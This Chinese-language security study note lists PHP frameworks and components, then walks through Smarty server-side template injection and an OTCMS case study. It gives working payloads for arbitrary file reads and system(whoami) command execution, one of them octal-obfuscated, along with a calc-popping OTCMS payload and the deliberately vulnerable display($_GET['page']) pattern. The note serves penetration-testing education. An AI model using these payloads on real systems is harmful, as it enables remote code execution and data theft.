類別 | 組件/框架 | 說明 |
[Web框架] | Laravel | 現代化、功能全面的框架,適合大多數Web應用。 |
Symfony | 高度模塊化、功能強大的框架,適合復雜應用。 | |
CodeIgniter | 輕量級框架,適合快速開發。 | |
Zend Framework (Laminas) | 企業級框架,適合大規模應用,具有高擴展性和性能。 | |
Yii | 高性能框架,適合快速開發和大規模應用。 | |
[數據庫組件] | Doctrine ORM | 強大的ORM工具,支持復雜的查詢和映射。 |
Eloquent ORM | Laravel內置ORM,簡化數據庫操作。 | |
PDO | PHP的數據庫抽象層,支持多種數據庫引擎。 | |
RedBeanPHP | 輕量級ORM,自動創建和管理數據庫表。 | |
[模板引擎] | Twig | 靈活、現代的模板引擎,常用于Symfony項目。 |
Blade | Laravel內置模板引擎,支持模板繼承和控制結構。 | |
Smarty | 經典模板引擎,適合中大型項目。 | |
Mustache | 輕量級跨語言模板引擎,支持PHP、JavaScript等。 | |
[路由組件] | FastRoute | 高性能PHP路由庫,適用于小型應用和API。 |
AltoRouter | 輕量級路由庫,適合小型項目,易于配置。 | |
Symfony Routing | Symfony的路由組件,適合復雜應用。 | |
[認證與授權] | OAuth2 Server PHP | 實現OAuth2協議的PHP庫,適用于API認證。 |
JWT (JSON Web Token) | 輕量級身份驗證方案,適合API認證。 | |
PHP-Auth | 簡單的用戶認證庫,適用于中小型Web應用。 | |
[支付集成] | Stripe PHP SDK | 集成Stripe支付功能,支持信用卡支付、訂閱等。 |
PayPal SDK for PHP | 集成PayPal支付功能,支持支付、退款等。 | |
[郵件發送] | PHPMailer | 功能強大的郵件發送庫,支持SMTP、POP3等協議。 |
SwiftMailer | 另一款流行的郵件發送庫,支持多種郵件功能。 | |
Mailgun PHP SDK | Mailgun的官方SDK,用于通過Mailgun API發送郵件。 | |
[文件管理] | Flysystem | 文件存儲抽象庫,支持多種存儲方式(如本地、Amazon S3、FTP等)。 |
Symfony Filesystem | Symfony的文件系統組件,提供簡單的文件操作API。 | |
Intervention Image | 圖片處理庫,支持裁剪、調整大小、水印等功能。 | |
[緩存與性能] | Redis | 內存數據存儲系統,用于緩存、消息隊列等,提升性能。 |
Memcached | 內存緩存系統,適用于高并發應用。 | |
Symfony Cache | Symfony緩存組件,支持多種緩存后端。 | |
Laravel Cache | Laravel內置緩存系統,提升Web應用性能。 | |
[日志管理] | Monolog | 強大的日志庫,支持多種日志渠道(如文件、數據庫、郵件等)。 |
Log4PHP | Apache Log4j的PHP實現,適用于復雜日志功能。 | |
[任務隊列] | Laravel Queue | Laravel內置隊列系統,支持延遲任務、異步處理。 |
Resque | 基于Redis的任務隊列庫,適用于異步任務處理。 | |
RabbitMQ | 開源消息代理服務,用于任務調度和消息傳遞。 | |
[WebSocket與實時通信] | Ratchet | 用于實現WebSocket服務,適合在線聊天、實時通信。 |
Swoole | 高性能協程框架,支持WebSocket、TCP、UDP等協議,適用于高并發實時應用。 | |
[測試與調試] | PHPUnit | PHP標準單元測試框架,廣泛用于自動化測試。 |
Xdebug | PHP調試工具,支持堆棧跟蹤、性能分析、斷點調試等功能。 | |
[富文本編輯器] | KindEditor | 一個輕量級且功能豐富的富文本編輯器,支持圖片上傳、插入視頻等,適用于PHP開發的Web項目。 |
TinyMCE | 開源的富文本編輯器,支持多種格式的文本編輯,插件豐富,易于集成。 | |
CKEditor | 高度可定制的富文本編輯器,支持圖片、文件上傳、富文本格式化等功能,廣泛用于Web項目中。 | |
Froala Editor | 輕量級、現代的富文本編輯器,支持圖像處理、視頻嵌入、內嵌富文本等,適合復雜的Web應用。 | |
Quill | 開源富文本編輯器,功能強大、輕量級,支持圖片、視頻、格式設置等功能,適合單頁面應用。 | |
Summernote | 基于jQuery的輕量級富文本編輯器,支持文本格式化、圖片上傳等,適合中小型Web項目。 | |
Trumbowyg | 輕量級的富文本編輯器,功能簡單但支持基本的文本編輯、圖片上傳、視頻插入等。 | |
Redactor | 現代的富文本編輯器,功能豐富,支持圖片、文件上傳等,適合多種Web應用。 | |
[圖片上傳組件] | Dropzone.js | 支持拖拽上傳和多文件上傳的JavaScript庫,易于與PHP集成,常用于圖片、文件上傳功能。 |
FilePond | 高度可定制的文件上傳庫,支持圖片預覽、驗證、上傳進度等,適合需要精美上傳功能的Web項目。 | |
Fine Uploader | 支持多種文件上傳方式的組件,支持多文件上傳、拖拽上傳,支持PHP處理后臺。 | |
Plupload | 支持多種文件上傳方式(包括HTML5和Flash),可以與PHP后臺集成,廣泛用于Web應用中。 | |
[圖片處理組件] | ImageMagick | 強大的圖像處理庫,支持圖像格式轉換、剪裁、旋轉、加水印等多種功能,適用于PHP處理圖像。 |
GD Library | PHP內置圖像處理庫,支持圖像創建、縮放、裁剪、色調調整等功能。 | |
Intervention Image | PHP圖像處理庫,支持裁剪、縮放、加水印等,易于與Laravel集成。 |
1、模版引擎
在開始介紹Smarty之前先了解一下模板引擎,模板引擎是為了讓前端界(html)與程序代碼(php)分離而產生的一種解決方案,簡單來說就是html文件里再也不用寫php代碼了。Smarty的原理是變量替換原則,我們只需在html文件寫好Smarty的標簽即可,例{name},然后調用Smarty的方法傳遞變量參數即可。
模版使用案例:
Php模版框架:Smarty、Twig,codeeval等
python模版框架:jinja2、mako、tornad、Django等
Java模版框架:Thymeleaf、jade、velocity、FreeMarker等
JavaScript模版框架:doT,Nunjucks,Pug,Marko,EJS,Dust等
安全漏洞影響:
SSTI(Server Side Template Injection,服務器端模板注入)
搭建這個網站,看一下這個頁面
這里就有提示,看這個Title
這里就是替換,這里改掉頁面就會隨之改變
。
下載:https://github.com/smarty-php/smarty/releases
使用:
1、創建一個文件夾,命名為smarty-demo。
2、下載Smarty對應版本并解壓縮到該文件夾中。
3、創建一個PHP文件,命名為index.php,并在文件中添加以下代碼:
<?php
// 引入 Smarty 類文件
require('smarty-demo/libs/Smarty.class.php');
// 創建 Smarty 實例
$smarty=newSmarty;
// 設置 Smarty 相關屬性
$smarty->template_dir='smarty-demo/templates/';
$smarty->compile_dir='smarty-demo/templates_c/';
$smarty->cache_dir='smarty-demo/cache/';
$smarty->config_dir='smarty-demo/configs/';
// 賦值變量到模板中
$smarty->assign('title','歡迎使用 Smarty');
// 顯示模板
$smarty->display('index.tpl');
?>
4、創建一個名為index.tpl的模板文件,并將以下代碼復制到上述點定義文件夾中
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>這是一個使用 Smarty 的例子。</p>
</body>
</html>
因此就能得到一些安全問題,注入漏洞,比如說渲染文件受控,這里我做一下解釋,就是設置Smarty相關屬性這里,就是生成的文件保存位置,再往下賦值變量到模板中,就是一個鍵名對應一個鍵值,title對應Smarty。最后就是顯示模板,這里顯示模板就去調用了index.tpl文件,我們當前文件是demo.php,通過這個$smarty->display($_GET['page'])這個點就能實現任意文件讀取
這里我們試試poc,看一下具體實現方法
<?php
require 'smarty4/libs/Smarty.class.php';
$smarty = new Smarty;// 設置 Smarty 相關屬性
$smarty->template_dir = 'smarty4/templates/';
$smarty->compile_dir = 'smarty4/templates_c/';
$smarty->cache_dir = 'smarty4/cache/';
$smarty->config_dir = 'smarty4/configs/';
// 賦值變量到模板中
$smarty->assign('title', 'Smarty');
$smarty->assign('css', 'styles.css');
// 顯示模板
$smarty->display('index.tpl');
//受控的渲染頁面文件
$smarty->display($_GET['page']);//白盒代碼審計的思路:
//1、使用smarty模版引擎
//2、版本存在已知的CVE漏洞
//3、可控的渲染文件或變量//黑盒滲透測試的思路
//x.php?page= url= index.tpl index.html
把poc傳到傳參點嘗試
poc:
string:{include file='C:/Windows/win.ini'}
poc:
string:{function name='x(){};system(whoami);function '}{/function}
poc:
string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
poc總結:這些poc不難看出,都是一些文件可控
這里切換成smarty4版本依然可以的
這里能看到配置文件
這里我們打開看一下就能發現是相應的payload,string:{include file='C:/Windows/win.ini'}
再來看一個源碼*/phpinfo();//,這個就是payload能注入成功的原因,就是原本是/*"test:"*/,
然后我們構造的時候,就是/*"test:*/phpinfo();//"*/,把前面的閉合了,然后//把后面的注釋了
懂了噻
#渲染文件受控
CVE參考:
https://xz.aliyun.com/t/11108
https://www.cnblogs.com/magic-zero/p/8351974.html
*/phpinfo();//
string:{include file='C:/Windows/win.ini'}
string:{function name='x(){};system(whoami);function '}{/function}
string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}
2、插件組件
編輯器,郵箱,圖片處理等(見上圖)
使用:
https://www.cnblogs.com/qq350760546/p/6669112.html
參考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825
3、案例:
代碼審CMS:(由第三方應用引用導致安全問題)
用了第三方插件、模板、組件等,引用了就會有相關漏洞
-網鈦(OTCMS):
https://xz.aliyun.com/t/13432
-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html
搭建一下這個平臺
payload:
{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}
這里插入payload,記得要改一下頭,不是string,改成otcms即可,彈一個計算器嘗試一下
然后保存一下
ok,成功彈出計算器
看下源碼,這里是smart模板,為了有更好的兼容性還判斷了一下php版本,php版本小于7.1大于4.x調用smarty
這里順著上面的目錄就能找到了我們執行的命令,cache/smarty/templates_c目錄下的就是